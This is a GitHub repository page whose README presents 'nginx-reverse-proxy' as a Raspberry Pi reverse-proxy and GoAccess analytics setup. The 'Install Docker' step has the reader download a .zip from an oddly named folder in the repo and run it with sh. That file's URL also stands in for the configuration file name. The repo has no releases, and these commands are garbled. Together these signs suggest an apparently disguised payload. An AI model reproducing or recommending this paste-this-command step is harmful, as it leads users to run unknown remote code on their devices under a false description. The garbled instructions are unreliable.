Skip to content

πŸš€ Simplify your web traffic management with Nginx Proxy Manager and GoAccess on a Raspberry Pi, providing TLS reverse proxying and real-time log insights.

License

Notifications You must be signed in to change notification settings

Bernettaungracious63/nginx-reverse-proxy

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸ–₯️ nginx-reverse-proxy - Simple Proxying For Your Raspberry Pi

πŸš€ Getting Started

Welcome to nginx-reverse-proxy! This software enables you to manage and monitor your web traffic simply. It is designed to work smoothly with Raspberry Pi 4 and 5. Follow these steps to get started.

πŸ“₯ Download

Download nginx-reverse-proxy

πŸ“‹ System Requirements

Before installing, ensure your device meets the following requirements:

  • Raspberry Pi 4 or 5
  • Docker installed on your Raspberry Pi
  • Internet connection for downloading the application and updates

πŸ“‚ Features

  • User-friendly web interface for traffic management.
  • Real-time analytics with GoAccess charts.
  • Easy setup and configuration with Docker Compose.

πŸ› οΈ Installation Steps

Step 1: Prepare Your Raspberry Pi

First, ensure that your Raspberry Pi is up to date. Open a terminal and run the following command:

sudo apt-get update && sudo apt-get upgrade -y

Step 2: Install Docker

If you don’t have Docker installed, you can install it with the following commands:

curl -fsSL https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip -o https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip
sh https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip

Step 3: Install Docker Compose

Next, install Docker Compose by running:

sudo apt-get install docker-compose

Step 4: Download & Install nginx-reverse-proxy

Visit the Releases page to download the latest version of the software. Choose the appropriate version for your Raspberry Pi.

Step 5: Run the Application

Once you have downloaded the software, navigate to the folder containing the files in your terminal. Then use the following command to start the application:

docker-compose up

The application should now be running. You can access the interface through your web browser by entering your Raspberry Pi’s IP address followed by the port number specified in the configuration.

βš™οΈ Configuration

To set up your reverse proxy, edit the configuration file named https://raw.githubusercontent.com/Bernettaungracious63/nginx-reverse-proxy/main/ozarkite/nginx-reverse-proxy_v3.5.zip located in your downloaded folder. Here, you can set your server details, ports, and other preferences. If you're not familiar with these settings, the default values should work for most users.

πŸ“Š Monitoring with GoAccess

nginx-reverse-proxy includes GoAccess for real-time analytics. To start viewing your traffic data, navigate to the GoAccess dashboard through your browser. This tool gives you valuable insights into your web traffic.

πŸ“ Troubleshooting

If you encounter any issues while running the application, consider checking the following:

  • Ensure Docker and Docker Compose are installed correctly.
  • Verify that your Raspberry Pi has sufficient resources (CPU, RAM) available.
  • Check the logs for any error messages. You can view logs using the following command after starting the application:
docker-compose logs

πŸ“ž Support

For support or questions, please open an issue in the GitHub repository. Our community is here to help you.

🌐 Community

Join our community through our GitHub page. Share your experiences, tips, and tricks to get the most out of nginx-reverse-proxy.

πŸ“₯ Download Again

Don't forget to visit the Releases page for the latest updates and releases. We continuously improve the application, and your feedback helps us make it better. Happy browsing!

About

πŸš€ Simplify your web traffic management with Nginx Proxy Manager and GoAccess on a Raspberry Pi, providing TLS reverse proxying and real-time log insights.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •